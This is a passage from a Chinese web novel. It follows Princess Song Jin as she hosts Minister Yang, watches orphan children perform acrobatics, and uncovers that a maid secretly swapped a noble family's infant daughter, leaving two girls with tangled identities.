牛铁兰和曲茂泽一顿,下意识看向对方,但是中间隔着个黑漆漆的脑袋,那脑门圆圆,乌黑的秀发蓬起,像是开的煤球,看起来莫名又有些好笑 嘴角微扬,他们继续看起册子,轻声谈论 从上往下,每一家人,有多少房人,多少孩子,有没有能干人,有没有祸害,家是什么职位,后续大致发展 曲茂泽都能说得一清二楚,牛铁兰听得很仔细,时不时插一句问自己感兴趣的 两人说得太细,所以进展也很慢 宋锦听着听着就打起了瞌睡,脑袋靠在牛铁兰肩膀上,眯着眼睛小憩,直到一个熟悉的名字出现 “宣平侯府,外强中干,老宣平侯有几分本事,奈何在美色上糊涂,死在女人头上,新的这个,别的不行,伺候糊弄女人倒是一套一套。” 宋锦抬起脑袋,耳朵竖了起来 曲茂泽轻轻一笑,合上那册子,点了点她的鼻子:“过两日宋行之要请杨尚书做客,刚巧缺了点小酒,让那几个小崽子送来吧” 宋锦一时不知道是该咬回去,还是该多问两句了 杨家那倒霉蛋眼光差就算了,怎么还能这么蠢啊 第124章 胸口碎大石 “哎,小眉,怎么今天不见小耳?” 今日要招待客人,一大早府里的丫鬟小厮就忙碌了起来,该备菜备菜,该打扫打扫,府里前后都是走动的人。宋府家大业大,多余的不说,家里大小丫鬟小厮没一个不端正的,仪态又有人专门教导,衣服首饰都是锦缎金玉,一个个走起路来别提多养眼了 宋锦坐在亭子里围炉煮奶茶 宋府负责采购的管事昨日出门看到几只北漠商人带来的骆驼,想着家里虎小姐胃口大,没吃过这玩意儿,就买了回来。 里面刚好有一只产奶的,宋锦直接给劫了,她撩着袖子本来打算做酸奶,不到一日便放弃,拎着壶驼奶就过来煮奶茶 可惜这玩意儿味道重,不管是加奶还是加茶,味道都有些怪怪的 她喝了几口就坐在那儿,烤着外面运回来的蜜橘,啃着个番薯,看到那边的小眉,把人喊了过来,给她分了一杯 “尝尝” 小眉看着那略显诡异的颜色,迟疑了一下,才接过来,小心抿了一口,瞬间眉头紧皱,捂着嘴要吐不吐,赶紧重新倒了杯正常茶水漱口,来回两次才觉得味道淡了一点,但还是有一股子怪味,她皱着脸,有些哀怨 宋锦哈哈:“有这么难喝吗?” 她自己又尝了一口,咂咂嘴,除了稍微有点腥、有点淡,其他的都还好吧? 她立马道:“小眉你变了,你以前多勤俭持家啊,现在怎么挑三拣四了?” 小眉习以为常,擦着嘴角:“小姐若是无事,就出去外面转转” 她这小姐啊, 从小就格外有精力,在镇上的时候有山有水有土匪给她造作,就还好一点。到了都城,她一身精力没地使,就对付到人身上了 小眉习以为常,甚至十分淡定 宋锦撇了撇嘴:“小耳呢?嘿,那丫头偷懒了?说好的领一个月工钱干一个月活呢” 她门之前已经说好了,等到年后,就去衙门登记给他们四个赎身,赎身后铁匠铺子就给他们自己经营,再送一个小院子,每人两百遣散费 这些钱,还有铺子,足够他们在永安城站稳脚跟了,再多的,他们也不要了 至于为什么过完年再走,因为过年年底宋府有丰厚的红封,不能不要 几个人就是这般朴实无华 小眉眉头更皱了,轻轻叹气:“她不太舒服,就没让她来” 说话间,她觉得吐出来的气也是一股子的味,赶紧又喝了口茶,最后嚼起了茶叶片子 可是讲究了 宋锦嚼着烤肉干:“病了?请大夫了没?” 小眉摇了摇头,迟疑之后,小心道:“没生病,就是昨日,我们出门游玩的时候,碰上了一人” 宋锦抬起脑袋,眉头横起:“欺负你们了?谁,我晚上找他去” 小眉嘴角一抽:“……小姐您就省点心吧,不是,是那个人,可能是小耳的亲戚” 宋锦歪头:“亲戚?” 这丫头父母双亡,被卖给了牙行,刚好从落到她旁边被她捡了,若说起亲戚的话 小眉点了点头,轻轻叹气:“那人和她长得很像,还是一个姓氏,应该跑不了。他,我们昨天打听了一下,说是上次回城的小将,日子过得不错” 如果远远的看不见见不着还好,管他们过什么日子都影响不了小耳,但是人就在面前了,日子过得还这般好,换做谁能舒服的? 小眉很能感同身受,庆幸的是,她家那小弟废得差不多了,别说来都城,就是去县城都难,想想也是一种安慰 宋锦听得若有所思,摸了摸下巴:“这么像的?” 小眉点头:“眉眼一模一样,最关键的是,他还特别高,和阿茂差不多了” 那真的往小耳心上扎啊,她最在意的就是自己那小个头了 宋锦拍了拍手,抬着下巴,直接护犊子道:“管他大将小将,是他家干的缺德事,他就得承着,就是宋慎之回来都不管用。你去和小耳说,让她别伤心了,我明天带她去报仇” 小眉心里暖暖的,但还是有些犹豫:“三少爷那边” 宋锦不在意道:“管他几少爷的,欠债还钱,父债子偿,天经地义,你就是去问我娘也是这个道理” 小眉还是迟疑 宋锦磨牙:“你去问我娘去” 小眉点头:“那我先去把东西放过去,再去问问夫人,小姐你自己玩” 说着,她抿嘴笑了笑,抱着怀里的杯具离开 一个个真是反了天了 宋锦气闷,拿起奶茶一喝,再把烤盘上面的坚果肉、蜜橘、肉干大枣这些咔擦咔擦吃完,飞身过墙去找黄黄玩了 这个家,只有它不会嫌弃她 想想都是一把心酸泪 …… 腊月大雪,朝堂上关于各地的灾情不断,下朝的时间也晚了一些 以往下朝,都是由当朝一品首辅宋商带头第一个踏出朝堂,他一不在,新的首辅还未立下,官员这边无镇压之人,便由朝廷最后一名在世国公仁国公领头,齐齐散朝 宋行之在第二梯等 他从容不迫地走在其中,然后一直到走出排阶队伍,他走到了礼部尚书杨国安身旁,温润有礼:“大人请” 杨国安看着他这幅姿态,心中颇有感慨和懊悔 比起常文山那个侯爷女婿,他一直都更看好欣赏的是面前这人 虽然说宋行之少不了男人好色的臭毛病,但是他能力出众,年纪轻轻就能有如此地位,又没有寻常的狂妄自大之态,为人处事也内敛温和,品行上更是没有问题 退一万步说,他婚后少不了朝三暮四,但也一定会给妻子该有的敬重,不似常文山 想到大女儿这几年乱糟糟的事 杨国安心生郁意,更是悔不当初,当时就该强硬一点,不由着那丫头的 陛下能免了宋行之丁忧,态度显而易见:在继宋商之后,他还要保宋家荣华 宋行之的前途一片光明,年轻一辈中,也就宋慎之还能与之争锋了 但是现在想这些也已经晚了 杨国安在心里感叹完,也回礼:“宋大人,走吧” 虽然有些不解宋行之为什么要邀他去府上上衣事情,但是总归是好事情 当初他闺女悔婚,这几年人站在侯府那边,宋家人虽然面上不说什么,但是心里定然少不了芥蒂,两家少有往来。现在破冰了,他自然要接住机会 再说了,杨国安看着宋行之俊逸的脸,想着他这些年未娶妻,这段时间又散了后院,心里有些意动 说不定,这往日断掉的因缘,也还有机会呢 两个人就这样说着朝堂上的事情,各怀心思地朝着宋府走去 席宴早已准备就位,桌上菜色格外丰盛,各种华贵食材宛如不要钱一般,少有人家席宴能达到这个标准的,相比起来,略显寒酸的就是席间侍奉的丫鬟了 宋府的丫鬟自然是漂亮聪慧,但是数量真的不多,三三两两,把饭菜弄好就走了 宋商不喜外人,所以吃饭时候基本没人伺候,宋府也延续了这个习惯 杨国安有些感慨,所以啊,这在很多人眼中都妖魔鬼怪的宋府其实是对女人家最好的 兄弟和睦团结,下无妖艳美人儿,上无难缠婆母 哪像那宣平侯府,几房乱糟糟的,上面老虔婆也难缠,还有各种乱七八糟的丫鬟通房,虽然他闺女性子硬把人赶走,但是人赶得走,烦扰赶不掉 杨国安心意一动:“说起来,前段时间明光郡主和宋夫人出去寻亲,不知可寻到了?” 宋行之听到这个眉头就不由跳了起来 本来就惹不起那母女俩,这一寻亲又寻出个大来头,他的心里苦啊 宋行之:“寻到了,都好好的” 杨国安:“那便好,宋将军和岐王出去以久,外面大雪不断,也不知道此行可顺利” 宋行之:“南边雪小,就是有意外,老三经验丰富,岐王武艺高强,他们定也能顺利解决,赶在年前回来” 杨国安语含试探:“岐王回来,陛下那边” 宋行之笑:“岐王乃陛下亲子,自小吃苦,好不容易回来又几番外出奔波,回来之后陛下定然心疼” 虽然没有明说,但是他们都懂背后的意思 齐铮此次巡游赈灾,便是他再是一事无成,什么都不会,但是身边那么多能人,也得给他弄出点功劳来,更何况,他行走江湖多年,确实有真本事在身 两个人就这么聊了起来,直到外面突然响起了敲锣打鼓的吵闹声,打断了他们的说话 宋行之心中一梗 他记得,之前说好的是他们吃饭时候让那崽子过来吃饭的吧?这是在干什么呢? 对上杨国安诧异不解的目光,宋行之压下心梗,含笑道:“小妹她,比较活泼贪玩,不知道又弄了什么,不如杨大人和我一同去看看?” 杨国安迟疑着点头 宋锦的大名他早就有所耳闻,从外面,也从闺女口中得知,但是见到人,也就中秋晚宴那一天 那时她一袭红衣,明媚浓艳,朗朗大方,很难和传言中那个嚣张跋扈、恶劣叛逆的人对上 于是两个人放下碗筷出门,顺着声音传来的方向,走到了花园之中 原本落雪红梅的幽静之地,现在就跟那乡下学堂一般,聚了一堆半大的孩子,一个个敲锣打鼓,翻滚钻圈,在那里聚起了个戏班子 就在小崽子对面,宋锦几人坐在椅子上,一个个乐得拍手甩钱,很是欢喜 杨彦珺也在其中,刚像是投壶一般甩了钱箭扔到那边盆里,一转头就看到自家老爹,有些意外地起来,却也没有半点不安心虚,大步走了过来 “哎,爹,你怎么也在这?” 杨国安看着她这木杨,有些头疼:“这话该我问你吧?你这一脑袋什么乱七八糟的玩意儿” 杨彦珺摸了摸脑袋,顺手就是几根彩绳,她哈哈:“刚才扔的,不算什么,对了爹你还没回我呢,你来干什么?” 杨国安觉得这话该问她,就他们两家的情况,她三两天往这边跑合适吗? 他:“我来” 不等他说话,那边宋锦走了过来,手压着杨彦珺的肩膀,勾着唇:“这就是你爹啊,杨大人久仰久仰,有这么个倒霉闺女,这些年辛苦了” 杨国安那叫一个热泪涌眶 那是啊,他不辛苦谁辛苦?孩子娘走得早,他那些年就怕人欺负她,都没有再娶,一直到她到了定亲年纪,需要人操持了,才开始重新找了个老实温柔的续弦 偏偏这孩子主意大,幺蛾子还多,还死犟 早几年他就说了,实在不行就和离回府,她不听,结果在晚宴上闹那一通,要不是陛下仁慈,她落不到好果子 宋锦这话真就说到杨国安心坎里了,听听,听听多会说话的孩子啊,不像她爹 宋商那个歹竹,还真出了个根好孙啊 杨国安:“哪里哪里,不辛苦,自己的孩子,再辛苦也得养。明光郡主客气了,小女性子顽劣,没给你添麻烦吧?” 杨彦珺不可置信 就说这话合理吗?在宋锦面前说她顽劣?这不是关公头上耍大刀嘛 宋锦挑着眉头,看杨国安这小老头也很顺眼:“烦是烦了点,不过本郡主大人有大量,不算麻烦” 杨国安感叹:“郡主心胸宽广” 宋锦:“哪里哪里,不比杨大人,这做人啊,心态就是要放平,平了就发现没什么过不去的坎。来来来,杨大人坐着聊……” 说着,她就把人拉过去那边一起看杂耍了 杨彦珺站在这边,看得一愣一愣了,直接气笑:“这爹到底是谁的爹啊” 宋行之嘴角一抽:“肯定是你的” 他小妹的爹在屋子里待着呢,这糟老头子可差远了 杨彦珺看着那边两个说得开心的人,无语道:“不是,你喊他干什么?你俩有这么熟?” 宋行之低头,看着她毫无芥蒂的模样,沉默了一瞬,低声:“其实还是挺熟的” 毕竟朝堂上天天见面,经常共事 更何况,两家当初是谈过亲事 杨彦珺毫不意外地想到这儿,立马尴尬了起来,不太自然地笑了笑,赶紧往自己亲爹那边走去,打断他的胡诌:“您可少说两句,你闺女我还要不要面子了?看戏看戏,这些个孩子厉害着呢,从小就跟着练,有模有样的” 杨国安这才停下话茬,转而看向现在这些个小崽子,疑惑:“都哪儿来的?” 宋锦翘着腿坐在一边,指着最上面的喷火的小男孩,道:“是城外村子里孤儿们,他们自小学学武学戏,到了年纪就由村里人带进城赚点钱养活自己,虽然年纪小不比专业的,不过倒是别有一番趣味” 上杨村育婴堂里的孩子分了好几波,最好的就是有读书天分,学字算数的孩子,稍微差一波的是刺绣、木工那些,最苦的就是这些个学杂耍的孩子 但是没办法,他们没有其他的好天赋,也没有试错提升的机会,便只有日复一日努力练习杂技,起码能混口饭吃 杨国安感叹:“竟是如此,这些孩子看着也就七八岁,要是珺” 说着他就闭上了嘴,下意识看向杨彦珺,带着几分担心 杨彦珺神色黯了一瞬,又勉强小小,把话接了下去:“要是我的小石头还活着的话,明年也该七岁了” 宋锦伸手指向另一边的宁宁,不着痕迹道:“那他若是投胎转世,就该这般大了” 杨彦珺看着脸上顶着两个小红球、扎着朝天辫的宁宁,笑了出声:“也差不多,这丫头这是干嘛呢?” 宋锦笑眯眯:“不知道,一看就是小花的馊主意” 说话间,宁宁已经摇摇晃晃地走上了台,她就不是育婴堂的人,别说杂耍了,有时候跑步都能摔一跟斗,没什么特长 她在台上,圆溜溜的眼睛转着,咧着白白的小米牙,奶声奶气:“我要唱首歌,名字叫《捡菌子的郡主》” “哒哒哒郡主打老虎,打完老虎抓大熊,抓了大熊往回走,哎呀,菌子,菌子菌子好多菌子,郡主捡菌子……” 宋锦:…… 这要是没人在背后怂恿,她倒立背书 杨彦珺哈哈大笑,笑得倒在她肩上:“十两银子,值不值?” 几个崽子年纪小,但是想要糊弄,那必须拿真金实银出来,聪明得很 宋锦看着台上那傻苹果一样的崽,呵呵一笑:“你就笑吧,一会儿别哭” 杨彦珺擦着眼泪花:“我才不会哭” 宋锦翻了个白眼,趁此机会转头去看杨国安 她之前查出来了,本来是想直接和杨彦珺说的,但是她那死鬼爹说的让这老头来看看。他既然能这么说,就表明小崽子肯定长得像谁 现在宁宁虽然化得花里胡哨,但是总体五官还是很明显的,要认的话,应该是能认出来了 宋锦观察杨国安的反应,却见他乐呵呵的,没一点特殊反应? 是她猜错了? 死鬼爹的意思是让她亲自和这老头说? 宋锦摸不着头脑,也实在是曲茂泽行事飘忽,让人很难猜到他的想法,他说话也是说一分藏九分,但是仔细问,她不要点面子啊 她摸着怀里的红绳,思索着要不要直接拿出来 就见本来还乐呵呵的杨国安突然变了脸色,带着错愕、怀疑、思念…… 情绪到位了 宋锦来了激灵,她理了理嗓子正要给他介绍一下小崽子复杂的身世,就见那台上已经换了个人 捆着同款朝天辫的小花搬着一块和她差不多高的青石板上台,嘿哈一声,拍拍胸口,声音响亮有力:“我给大家表演给胸口碎大石” 说着,她直接往地上一倒,另外两个孩子抬着石板往她胸前放,胜哥拿起一边的铁锤走到跟前,在地上砸了两下证明是正经铁锤,不是空壳子 小花躺在那儿,还不忘敬业地扯着嗓子吆喝:“生活不易,小孩子卖命,大家没钱的捧个钱场,有钱的捧个大钱场,谢谢咧。” 宋锦差点被口水呛住 在场没一个没钱的,这崽子倒挺会随机应变的 她表情变得一言难尽,刚想让人把几个熊孩子拖下来 杨国安已经起身,快步跑了过去,满脸担忧,嘴上念叨着:“使不得,这使不得啊……” 宋锦觉得自己脑瓜子也快使不动了 这和她想的怎么不太一样啊 第125章 偷龙转凤 “小花啊,这孩子是庆安十六年六月被扔在育婴堂门口的,那时候她才四五个月大,身上没什么东西,就只有这个还值点钱的襁褓” 上杨村育婴堂堂主叫杨老六,叫这个名字倒不是因为他排行第六,而是因为左手有六根手指 他是被养父捡回家的,后面家里又零零碎碎捡了不少孩子,一点点形成了育婴堂最初的雏形 十来年下来,育婴堂出去的孩子里有账房先生、有商铺老板、木匠工匠,也有自己的戏班子和镖行,有混得好的,自然也有混得不好的 不过基本上,混得最差的,也都在地里干活或者弄些木火做点小工维持生计 因为再差的,或多或少身体都有问题,在那些成长岁月中就早已消失了 杨老六是个全能的人,各种都会一些,是个很厉害的管理人才,他穿得很是朴素,手上拿着蓝 色的襁褓出来,给他们说着里细 “小花是凌晨天没亮被扔过来的,没人看到是谁扔的,但是,就在前一晚上,就一年轻女人抱着孩子在客栈住了宿,第二日天不亮就离去,应该是她” 宋锦抓着头发,眉头都要夹死苍蝇了,还是想不明白 事情怎么就弄到这一步了 她转过脑袋,瞅着死死攥着襁褓,掉着眼泪都杨彦珺,再看像那个襁褓,脑壳有些痛:“就是这个?” 杨彦珺死死攥着襁褓,想说什么,一张口就是哽咽的声音,听不清说的什么 但是已经说明一切了 就是这个 程思懿坐在她边上,轻轻拍着她的后背,轻声细语地安抚她,替她回答:“这料子是福云锦,当初锦绣坊总共就进了两匹,珺珺拿下一匹,另一匹被福安县主拿走做了衣服” 所以也只有一个可能 小花就是杨彦珺当初因为天花去世的孩子 她没死,只是被宣平侯丢了出去,在育婴堂里,吃不好穿不暖,每天还要挨打吃苦,还要胸口碎大石 杨彦珺想着就扑到程思懿怀里大哭,那梨花带雨的,看的人心也跟着一酸 但是宋锦还是打断了她的悲喜交加,说道:“但是,小花来的时候应该没有天花吧?” 杨老六也皱着眉道:“小花来的时候很健康,不然我也不能直接让她入堂” 若是她那会儿染了疫病,便是再可怜,为了育婴堂其他孩子,杨老六也不可能收养她 杨彦珺擦着眼泪:“应该是好了,她染病是五月时候,怕传人被那老虔婆隔开,突然就跟我说人没了,还拿了骨灰,我就以为,就以为” 人已经被火化了 她那是只是怨恨他们先斩后奏,让她连孩子最后一面都见不到,当时回娘家住了两个月,差点就和离了,是常文山跪着求她,最后她还是心软了,过了此事 没想到 杨彦珺一想到他们竟然为了怕人传染竟然在人活着的时候动了手,那原本因为和离渐渐淡去的仇怨重新生起,恨不得剜了他们 还好,还好,她的孩子还在 想到这段时间和她相处的日子,杨彦珺现在就恨不得冲出去好好抱一抱那孩子 但是 宋锦继续当恶人:“所以你是说,你那前夫前婆婆,因为害怕被传染故意骗你孩子死了,把孩子送到外面治疗,等治好了人,也不和你这当亲娘的说,也不把人带回家,反而把人丢到这边育婴堂?” 这怎么也说不过去吧? 宣平侯确实不是个好东西,但是这可是他亲女儿,要是疫病在身危及他们就不说了,真好了,他们再怎么也不至于把人扔了吧?最不济也该找个院子样子 杨彦珺脑中只有孩子,急切道:“就是她,料子一样,长得还像我娘,不是她能这么巧?” 程思懿赶紧拍着她的后背安抚:“好了好了,别激动,你先冷静点” 杨彦珺包着眼泪,拉着她的手:“一一,是她,是我的安安,她还活着,是她……” 宋锦咋舌,看着她这个模样就知道没法沟通,转而看向杨国安,问:“杨大人,您怎么看?” 杨国安本来激动开心,觉得自己的小外孙女找到了,宋锦这么一说,他也有些迟疑了,可是:“那孩子长相确实和珺珺娘有五分相,还有襁褓,若说没有关系,也不合理吧?” 杨老六也皱眉,提出推测:“也或者说,不是宣平侯爷做的,是被那日的女子偷出来的?” “也有这个可能,但是”宋锦挠了挠下巴,瞅着这一群人,慢慢吞吞把放在一边的包裹递了过来,然后拆开,从里面掏出了同样料子的襁褓 还有一个红绳 正在哭泣的杨彦珺哭声一顿,死死盯着东西,嘴唇一动,一个不受控制的哭嗝出来,冲过去又把东西抢了过来,两张同色的襁褓放在一起 料子一样,但是仔细看细节上很大差异 杨老六拿出来的那张,看着料子珍贵,但是仔细看,能看出其中缝合的痕迹,就像是,用边角料缝合一般,只不过藏在细小花纹上,又过去多年,让人一时难以注意 但是和宋锦拿出的这一张一看就是整料,上面刺绣精致,即便过去四年,即便因为流浪被各种糟蹋,也难掩其中精致 两张襁褓放在一起,差别很是明显 杨彦珺脑子一片混乱,她扒拉着两个襁褓,最后看着那个红绳,涌着眼泪,有些发懵,声音沙哑:“哪儿来的?” 宋锦看着她这样子,也难说什么风凉话,难得地没有兜圈子,她现在也是一脑袋浆糊呢,本来以为很简单的认亲,现在又扑朔迷离了 她撑着下巴,道:“这个是宁宁的,前些天福哥来找我,让我帮忙查一下。宁宁就是那边十六年四月被他捡,救的。她当时生着疫病,被人抱到野外正要活埋,他藏在林子里,偷偷把人抱回去了,两个人命大一直到现在” “这个襁褓,还有红绳就是她的,我还特意去三清观查了一圈,本来把你爹和你喊来就是为了说这事,结果” 结果就是现在这样了 这个亲,现在看着就不太好认了 杨彦珺低着脑袋,紧紧捏着两个襁褓,坐在那儿身形都不受控制地颤了起来 程思懿也是一脑袋的问题,但还是先半抱着人拍着后背安抚人,替她问道:“怎么会这样,这个料子,当初就两个,便不是珺珺这边,也不可能是福安县主那边” 这些个料子不便宜,便是细碎的边角料,也不会随意送人,多是些身边丫鬟 她心一窒,看向杨老六,问:“那丢下孩子的女人什么样,你们有印象吗?” 杨老六也一头雾水,眉头死皱,但是好在当初还真是记了人的,他:“是个十七八岁的女子,长单眼,尖下巴,嘴便有一颗吃福痣,身形纤瘦,个头偏高,脖子很长,当时穿着浅青色衣服,她是黄昏来的,村子里不少人看到” 所以描述基本上不会有什么问题 宋锦看向程思懿,见她紧蹙眉头,若有所思:“认识?” 程思懿脸色不太好看,低声:“有点像珺珺的贴身丫鬟,不过是个白眼狼,珺珺怀着身子的时候和宣平侯搅在一起,后面被赶走了” 宋锦瞅了瞅杨彦珺,实在是忍不住吐槽:“恋爱脑啊恋爱脑” 虽然说这年头男人多有小妾通房,但是一心一心的也不算少,尤其是杨彦珺有身份有钱,亲爹也撑腰,若是她清醒点真不用受这些苦 虽然说女子多上嫁,但是上嫁若意味着吃苦,那真的没什么必要,找个条件差不多,甚至差一点点,做姑奶奶日子舒坦多了 杨彦珺反驳不了,掉着眼泪呆呆地看着那襁褓,人看着都快傻了 宋锦啧啧摇头,能不傻嘛,这死去的孩子复活了,还一活就是俩 按照现在的线索来推嘛,这就是一出被贴身丫鬟偷龙转凤,没想到私事被揭发后被赶走,假孩子也染病‘去世’,丫鬟不甘心,就把真孩子也扔了的故事 宁宁是假,小花是真,但都有着一个狗渣爹,也不怪宋锦一直觉得两个崽长得有些相似了 就是吧 宋锦轻声叹气,然后站了起来,对着杨彦珺道:“我也不说什么孩子无辜的话,但是真算起来,宁宁也没占什么便宜,还替小花挡了一劫,多少也抵清楚了。冤有头债有主,有什么就去找宣平侯府去,宁宁这边,只要她不回宣平侯府,你就当她不存在吧” 至于回了府 宋府和宣平侯府也是敌对状态的,宋锦自认也没有这般宽阔的胸怀去照顾敌人的孩子,即便,小崽子很无辜,也很好。但是阵队就是阵队,是甩不掉的东西,她没必要给自己多添烦恼 宋锦说完,看着默不作声的人,也没多说什么 虽然现在证据已经很能说明真相了,但最终,还是得他们自己去验证 …… 宋锦不喜欢动脑子 这两天脑子动得有点多,她回家以后难得老实,不往外面乱跑,也不家里折腾了 牛铁兰都看得有些稀奇,几次走过来,伸手抚着她的额头:“也没发烧啊” 宋锦不说话,就这么躺在那儿,伸手拉住她的手从额头贴在脸上,然后翻了个身,侧躺在摇椅上,和她面对面 牛铁兰有些好笑,伸出另一只手给她理了理碎发,弯着腰凑了过去,杏眸温柔,声音清软:“怎么了?事情不是挺顺利的吗?不管怎么说,人还活着就是好事,至于多的,珺珺敞亮,还有你在,她不至于针对人” 宋锦懒洋洋:“我才不担心他们呢,我和他们又不熟” 牛铁兰没揭穿她的口是心非,只是轻轻抚着她的脸,笑:“那你在想什么?” 宋锦蹭蹭她的手心:“我在想阿娘” 牛铁兰意外:“想我什么?” 宋锦:“想你生我的时候,身边一个人都没有,是不是很害怕” 这年头生孩子本就是生死关,就连杨彦珺这个尚书家小姐都会闹这般麻烦事,她娘当初就自己一个人,刚从虎口跑出来,还没定下来,又面对那各怀心思的宋家,在危险中一个人生孩子 宋锦眉眼耷了下去 牛铁兰看着好笑,抚了抚她的眉眼,笑道:“肯定的,我 以前又没生过,那会儿身子也不好,我怕真有个意外,我们金金以后可怎么办啊” 宋锦嘟囔:“你们当娘的不能这样,还是要多想想自己,没出生的孩子不算孩子” 牛铁兰抬起一边的凳子坐下,轻声:“这当娘了,哪儿能想到这些?反正眼睛一闭,嘴一嚎,孩子就蹦出来了。你这孩子,怀着的时候折腾,生的时候可没费劲,一刻钟就出来了,就是生出来以后啊” 宋锦:“以后什么?” 牛铁兰揶揄:“我总怀疑是不是有人当着我的面换了我的孩子,这长得既不像我,也不像你爹,人也跟加了炮仗似的,就会到处蹿,乒乒乓乓的” 宋锦按住她的手,眼神飘忽:“哪有,我多乖啊” 牛铁兰好笑,一下又一下摸着她的黝黑的长发,看着她明艳的脸庞,不由想到她小时候,那会儿她脸蛋肉肉的,眼睛又大又圆,烟尾微微上挑,又凶又萌,只要不在面前捣蛋,简直可爱死了 “我们金金啊,长大了,想的也比小时候多了” 宋锦抬起下巴:“那必须的,我明年都及笄了,是大姑娘了” 牛铁兰顺着头发,轻叹:“是啊,要及笄了” 及笄了,就离成婚不远了 这日子可真快啊 曲茂泽靠在一旁的柱子上,看着母女俩相处,那颗平日冰冷缓慢的心也被注热度,一点点涌出暖意,脸上笑意真诚,提议 “若是无事,不如去马场跑马?虽然地有些滑,但是注意些总无事” 宋锦歪歪脑袋 牛铁兰觉得这个提议不错,拍拍她的脑袋,笑道:“还不起来,你不去我们就自己去了” “去去去怎么不去,你们等我收拾一下” 有亲娘在前,宋锦也不想那么多了,一个蹦跶起来,转头就往房间跑去,长手长脚的,跑起来兔子都追不上 牛铁兰忍俊不禁 曲茂泽也扬着唇角,看着房门关上,走到牛铁兰身边,抓住她的手握住,他的手心温凉,不冷不热,但是就这么慢慢握住,一点点就变得温热,像是火炉子一般 牛铁兰的心不能铁打的,早在安东郡的时候就和他说开了,他们已经错过浪费了十来年的时间,都这把年纪了,也没必要再扭扭捏捏下去 她坦然地被握住,甚至有些好奇地捏了回去:“等以后,我也可以?” 曲茂泽笑:“自然,这是,火妒虫,这种虫子喜欢攀比,气性又大,经常因为自己的热度比其他虫低就气死过去,死后就如炭火,一只虫能烧一个时辰” 牛铁兰就更好奇了:“真有这么多虫子?我怎么没见过” 曲茂泽握着她的手轻轻摩挲,脸上笑意越甚:“真要到处都有,也不会千年时间只有岭南一个蛊族了,等你好了,我带你一个一个看” 牛铁兰轻轻嗯了一声,又拉过他的手细看,上面深浅疤痕不断,饶是他恢复能力强,这些时日消耗也着实过大,恢复得越来越慢 她心里闷闷:“不用每次都放血,我没那么弱,疼点不碍事” 曲茂泽看着她清丽的脸庞,比起那病殃殃苍白的模样,他更喜欢这般气血旺盛的生气劲,他轻轻捏了捏她的脸,笑:“我有数,你别担心” 牛铁兰神色担忧,抿着嘴欲言又止 曲茂泽失笑,松开她的手,摸摸脑袋,转移话题:“好了,别想那么多,快去换双靴子加件披风,马场路滑” 牛铁兰莹莹的杏眸盯着他,好一会儿,她慢吞吞开口:“你听我的,我让金金改口叫你爹” 曲茂泽神色难得错愕:“什么?” 牛铁兰抿了抿嘴,道:“不到万不得已,你不再放血,你答应了,我也应你” 曲茂泽胸口起伏幅度大了几分,神色开始挣扎了起来 叫爹啊 这么久了,他闺女还真没叫过爹,好脸色都是这几日才有的 这个诱惑不可谓不大 牛铁兰见他由于,心里松了口气,与此同时,眉眼也不由弯了几分,抿嘴笑笑,转身回去换衣服,留他一个人继续纠结 叫爹 不叫 叫爹 不叫 …… 曲茂泽掐着梅花,仰天长叹 这太难选了 第126章 那不叫做主 “我打算把两个都带回家养” 院子里,宋锦靠在黄黄身上,打着哈欠,看着对面人 杨彦珺坐在小凳上,弯着肩,手紧紧地攥着一张手绢,看起来有些忐忑 她是个奢华之人,平日华衣锦服,衣着精丽,粉黛浓妆,走到哪儿都让人一眼看得出富贵模样。但是现在,她穿着件浅色蓝衣,头上束着个简单木簪,不施一点儿粉黛,简单又朴素,看得出来她这两日过得说不上好 线索已经很明确了 杨彦珺找上了常文山,砸了近半个侯府,确定了当初染了病的孩子是被他娘派人扔走,就怕留在家里传给其他人,却没想到派去的人办事不利,把人给弄丢了,这才让人侥幸活了下来 但那也不是她的女儿 早在她生产的前半个月,从小照顾她的贴身侍女已经诞下了孩子,又在她剩下孩子后起了心思,悄悄将人换走 也就在这后一个月,杨彦珺发现了她和常文山的私情,念在多年情谊上,她将人赶走,甚至放了她的奴籍。这么多年以来,人就在永安城不远处的县城里面,已经结婚生子,不说大富大贵,也温饱有余,被找到后也承认了换孩子的事 杨彦珺垂着眼,手指攥手绢,在上面划出一道道口子,眼中带着怨气:“我自认待她不薄,从小金银绸缎都没缺了她,就算那般,我也没有发买她,还消了她的奴籍,她怎么能这样,若她早点告诉我……” 育婴堂是那么好的地方吗? 不说吃喝问题,一个几个月大的孩子,便是在富贵人家也容易早夭,更别说在外面了 她背叛自己的时候,杨彦珺都不恨,只是失望,现在真的没办法不恨 宋锦当不了忠实的听众,也做不了什么贴心人,直接道:“你听听你这话,也没发买,还消了奴籍,你说说这字字是不是把人当奴仆的态度?她为何要感激?” 杨彦珺错愕看她,没想到她不仅不安慰自己,还这么说 宋锦耸肩,只道:“行吧,你肯定要说,别的主子怎么怎么,但是就像你说的,主子对仆从好的少,是主子好,那仆从怀有感激,忠诚也是因为她好,不是她应该的。你就换位思考,要是你天天要干活要照顾人日日要提心吊胆要担责,你真的会发自内心的感激人?” 就说她,虽然和小耳小眉关系好,但是丫鬟就是丫鬟,主子就是主子,朋友之间可以闹矛盾相互指责怒骂,而她们,真不开心了还得哄着她 若是有人敢伤害侮辱她娘,她管他天王老子也要弄回去,但换做她们,她会审时夺度,让她们该忍就忍 杨彦珺无言以对 宋锦摇了摇头,拍了拍黄黄的脑袋,站了起身,伸个大大的懒腰:“主子和奴本来就是对立面的,你对我好我对你也好,这是人好,你对我好我对你不好,这才是常态” 就像现在,丫鬟忠心尽力,是为了更好的生活。而主人家对丫鬟好,人好是一部分,更多的,还不是想要丫鬟更尽心一些? 本来就是利益交换,谈什么感情? 杨彦珺有些恼,咬着唇:“你的意思是,我就该忍了?” 宋锦白眼:“我也没这么说啊,我的意思是,丫鬟有自己的小心思很正常,谁不想过好日子?他们一日是奴仆,就得一辈子甘愿做奴仆?他们有想法正常,抓到了,被收拾也正常,你想来想去非要揪一个原因干什么?” 那么多天生恶毒乱七八糟的人,非要给人找个悲惨经历?人嘛,很多时候就是一瞬间想岔了,就走不出去了,尤其是丫鬟 宋锦就问:“当初是谁先勾引谁的不好说,但若说,当初是你前夫强迫的丫鬟,你会为她做主 吗?” 杨彦珺怔愣,咬着唇刚要解释 宋锦啧啧:“别说什么把人送走给钱,也别说什么把人抬做姨娘小妾,那不叫做主叫欺负人。真正的做主,是把男人砍了,送到牢里,那才叫做主” 对于地位平等的人来说,凑在一起叫勾搭叫自愿,像丫鬟和少爷这种,永远没有自愿 